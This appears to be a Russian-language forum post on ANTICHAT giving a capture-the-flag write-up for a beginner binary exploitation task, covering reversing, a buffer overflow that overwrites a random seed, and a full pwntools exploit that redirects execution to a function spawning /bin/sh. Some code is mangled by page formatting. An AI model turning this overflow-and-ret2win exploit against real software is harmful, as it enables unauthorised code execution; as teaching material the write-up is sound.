HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.08.2023, 21:40
AFANX
Новичок
Регистрация: 19.01.2024
Сообщений: 0
С нами: 1221004

Репутация: 0
По умолчанию



Ку, киберрекруты. Чет давно цтфки не гамал. Зашел на днях почекать ctftime и наткнулся на какой-то CybergonCTF и заинтересовал меня там один таск на пывн. По своей сути он простой, но для новичков в бинарщине то, что надо. Поэтому данная статья именно для них.

Описание



Из описания задания, как обычно, толком никакой информации. Название может натолкнуть на мысль, что нужно будет что-то делать с рандомом

Начнем

Первым делом нужно сделать первичный анализ бинаря. К этому относится:
  1. file
  2. strings
  3. checksec
  4. поиск UPX
  5. гаджеты
Чтобы это все не прописывать в ручную, есть утилита, которая делает это все
автоматически и выводит все в одно окно - J0llyTr0llz

После клонирования репозитория и установки всех библиотек
Код:
sudo ./setuptools/sh
,
можно ее запустить
Код:
python3 main.py
и появится такое окно:



Нажимаем сочитание клавиш
Код:
Ctrl+O
и открываем бинарь.

Код:
readelf
сообщает, что это 64 разрядная версия и порядок байт - littleend:



Код:
file
тому подтверждение



нет
Код:
UPX
, так же нет канарейки и отключена рандомизация адресов:



Теперь посмотрим на
Код:
strings
. Для этого надо нажать сочитание клавиш
Код:
Ctrl+S
и просмотрев можно заметить строку
Код:
/bin/sh


Если в названии есть слово рандом, то скорее всего присутсвуют соответсвущие строки:



Теперь нужно поиграть с сервисом, чтобы понять его возможности.

Сначала вводим имя, потом 10 рандомных цифр



Пока ничего не понятно. Поэтому настало время реверса.

Реверс

Традиционно буду использовать IDA Pro и edb.

Первое, что бросается в глаза, так это самое начало программы:



Здесь вводим имя и есть интересные моменты с
Код:
seed
. Сначала генерится инструкциями:

Код:


Код:
call _rand
mov [rbp+seed], eax
После передается в srand :

Код:


Код:
mov eax, [rbp+seed]
mov edi, eax
call _srand
Не стоит расстраиваться раньше времени. Между этими двумя участками, мы вводим имя:



Теперь посмотрим на локальные переменные:



Не вооруженным глазом можно заметить, что
Код:
var_80
лежит перед
Код:
seed
. Да, к тому же, буффер можно переполнить ибо нет контроля ввода данных. Из этого следует, что можно переписать
Код:
seed
и уже заранее знать, что будет рандомиться.

Участок кода далее уже не несет смысловую нагрузку, потому что он просто рандомит числа и заполняет какой-то глобальный массив интов



Далее вводим числа и тоже заполняем уже какой-то второй массив интов



Происходит сравнение элементов двух массивов и если все нормас, то выведет сообщение
Код:
Correct!


Так же есть прикольная функция
Код:
potato
, в которой лежит вызов
Код:
/bin/sh
и именно к ней мы стремимся



И так. Имеем следующее: можно переполнить буффер и переписать
Код:
seed
, тем самым будем знать какие числа будут генериться, можно привести к произвольному управлению. Осталось написать программу на языке C, чтобы получить рандомные числа и написать сплойт.

Пишем эксплойт

Сначала прога на языке Си, которая выглядит так:

C:


Код:
#include 
#include 
int
main
(
)
{
srand
(
0x41414141
)
;
printf
(
"["
)
;
for
(
int
i
=
0
;
i

#include 
int
seed
=
0x41414141
;
unsigned
int
rc4_output
(
int
r
)
{
return
(
unsigned
int
)
(
(
r
+
seed
)
%
256
)
;
}
int
main
(
)
{
srand
(
seed
)
;
printf
(
"["
)
;
for
(
int
i
=
0
;
i
<
10
;
i
++
)
{
printf
(
"0x%x, "
,
rc4_output
(
rand
(
)
)
)
;
}
printf
(
"]\n"
)
;
return
0
;
}
Результат выполнения:

Код:


Код:
[0xffffffe1, 0xef, 0xffffff78, 0xc9, 0xffffff45, 0xdf, 0xffffff2a, 0xffffffa2, 0xd3, 0xffffffe4]
Теперь настало время эксплойта.

Для добития до
Код:
seed
необходимо 112 каких-нибудь байтов. Сам
Код:
seed
будет равен
Код:
0x41414141
, что означает
Код:
AAAA
. Далее объявим переменную
Код:
potato
, в которой будет адрес победной функции и сам payload. Данный участок кода выглядит так:

Python:


Код:
junk
=
b'A'
*
112
seed
=
b'AAAA'
potato
=
p64
(
0x0000000004011BA
)
payload
=
junk
+
seed
+
(
b'A'
*
20
)
+
potato
Далее просто посылаем это все нашему таргету:

Python:


Код:
io
.
recvuntil
(
b'What is your name? '
)
io
.
sendline
(
payload
)
io
.
recvuntil
(
b'Guess my numbers!'
killRand
(
)
Функция
Код:
killRand()
она банально отправляет нужные числа программе:

Код:


Код:
def killRand():
    rand = [0x00000000FFFFFFE1, 0x00000000000000EF, 0x00000000FFFFFF78, 0x00000000000000C9,
    0x00000000FFFFFF45,0x00000000000000DF,0x00000000FFFFFF2A, 0x00000000FFFFFFA2,
    0x00000000000000D3,0x00000000FFFFFFE4]
    for i in rand:   
        tmp = str(i)
        io.sendline(tmp.encode())
Полный сплойт выглядит так:

Python:


Код:
from
pwn
import
*
exe
=
context
.
binary
=
ELF
(
'./random'
)
def
start
(
argv
=
[
]
,
*
a
,
**
kw
)
:
if
args
.
GDB
:
return
gdb
.
debug
(
[
exe
.
path
]
+
argv
,
gdbscript
=
gdbscript
,
*
a
,
**
kw
)
elif
args
.
EDB
:
return
process
(
[
'edb'
,
'--run'
,
exe
.
path
]
+
argv
,
*
a
,
**
kw
)
else
:
return
process
(
[
exe
.
path
]
+
argv
,
*
a
,
**
kw
)
gdbscript
=
'''
tbreak main
continue
'''
.
format
(
**
locals
(
)
)
def
killRand
(
)
:
rand
=
[
0x00000000FFFFFFE1
,
0x00000000000000EF
,
0x00000000FFFFFF78
,
0x00000000000000C9
,
0x00000000FFFFFF45
,
0x00000000000000DF
,
0x00000000FFFFFF2A
,
0x00000000FFFFFFA2
,
0x00000000000000D3
,
0x00000000FFFFFFE4
]
for
i
in
rand
:
tmp
=
str
(
i
)
io
.
sendline
(
tmp
.
encode
(
)
)
io
=
start
(
)
junk
=
b'A'
*
112
seed
=
b'AAAA'
potato
=
p64
(
0x0000000004011BA
)
payload
=
junk
+
seed
+
(
b'A'
*
20
)
+
potato

io
.
recvuntil
(
b'What is your name? '
)
io
.
sendline
(
payload
)
io
.
recvuntil
(
b'Guess my numbers!'
)
killRand
(
)
io
.
interactive
(
)
Проверим работу этого всего дела. Для этого в EDB , поставлю точку останова сразу же в конце выполнения программы, то есть сюда



Если все сработало, то во первых будет сообщение
Код:
Correct!
, во вторых попаду в нужную функцию.

Дошел до этого места, значит полет нормальный



Теперь дохожу до инструкции
Код:
ret
и попаду в
Код:
potato


Собственно чтд, вызовется функция
Код:
system('/bin/sh')




Теперь попробую запустить на сервере и получу RCE:

 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.